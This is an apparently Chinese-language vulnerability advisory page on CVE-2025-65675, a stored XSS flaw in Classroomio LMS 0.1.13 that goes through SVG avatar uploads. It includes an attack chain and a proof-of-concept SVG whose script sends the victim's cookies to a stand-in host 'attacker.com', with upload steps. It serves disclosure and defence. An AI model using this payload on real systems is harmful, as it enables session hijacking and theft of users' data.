IPBUF安全漏洞报告
English
CVE-2025-65675 CVSS 5.4 中危

CVE-2025-65675: Classroomio LMS存储型XSS漏洞通过SVG头像执行任意代码

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-65675
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Classroomio LMS 0.1.13

相关标签

存储型XSS跨站脚本SVG注入Classroomio LMS头像上传会话劫持CVE-2025-65675

漏洞概述

CVE-2025-65675是Classroomio LMS 0.1.13版本中存在的一个存储型跨站脚本漏洞。该漏洞允许已认证的低权限攻击者通过上传精心构造的SVG文件作为个人头像,在其他用户浏览其个人资料时执行任意JavaScript代码。由于SVG文件格式支持内嵌JavaScript脚本,当系统未对上传的SVG文件内容进行严格的安全过滤和验证时,恶意脚本会被存储在服务器上并在用户访问时自动执行。此漏洞的CVSS评分为5.4,属于中等严重程度。攻击向量为网络攻击,攻击复杂度低,但需要攻击者具有低权限账号并诱导其他用户访问包含恶意SVG的页面。攻击成功后可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题,对系统用户数据和隐私构成威胁。

技术细节

该漏洞源于Classroomio LMS在处理用户上传的头像图片时,对SVG文件格式缺乏有效的安全过滤机制。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持通过<script>标签内嵌JavaScript代码。系统在接受用户上传的SVG文件后,未对其进行内容清洗或MIME类型严格校验,直接将文件存储并允许其他用户访问。当受害者在浏览器中查看攻击者的个人资料页面时,浏览器会自动解析并执行SVG中嵌入的恶意JavaScript代码。由于该SVG文件存储在服务器端,每次页面加载都会触发执行,形成存储型XSS攻击。攻击者可以利用此漏洞窃取受害者的认证Cookie、劫持用户会话、执行任意DOM操作或诱导受害者进行非预期操作。修复此漏洞需要从服务器端对所有用户上传的SVG内容进行严格过滤,移除所有可执行脚本元素,或完全禁止SVG文件上传。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Classroomio LMS平台,获得低权限用户账号
STEP 2
步骤2
攻击者创建包含恶意JavaScript代码的SVG文件,代码可窃取Cookie或执行其他恶意操作
STEP 3
步骤3
攻击者将恶意SVG文件作为个人头像上传到平台,系统未进行安全过滤直接存储
STEP 4
步骤4
受害者访问攻击者的个人资料页面或任何展示攻击者头像的位置
STEP 5
步骤5
浏览器解析SVG文件并执行其中嵌入的JavaScript代码,导致会话劫持或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC: Malicious SVG file for CVE-2025-65675 --> <!-- This SVG contains embedded JavaScript that will execute when viewed in browser --> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal session cookies and send to attacker-controlled server var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookies), true); xhr.send(); // Alternative: Display alert for demonstration alert('XSS Vulnerability - CVE-2025-65675'); // DOM manipulation example console.log('Stolen data:', cookies); </script> <circle cx="100" cy="100" r="80" fill="red" /> <text x="50" y="110" font-size="20">Malicious SVG</text> </svg> <!-- Usage: 1. Save this code as malicious.svg 2. Upload as profile picture in Classroomio LMS 3. When other users view your profile, the script executes -->

影响范围

Classroomio LMS 0.1.13

防御指南

临时缓解措施
在官方修复版本发布前,建议临时禁用SVG头像上传功能或强制转换为安全图片格式,同时对现有用户上传的SVG文件进行清理和内容检查,并启用严格的Content-Security-Policy响应头限制脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表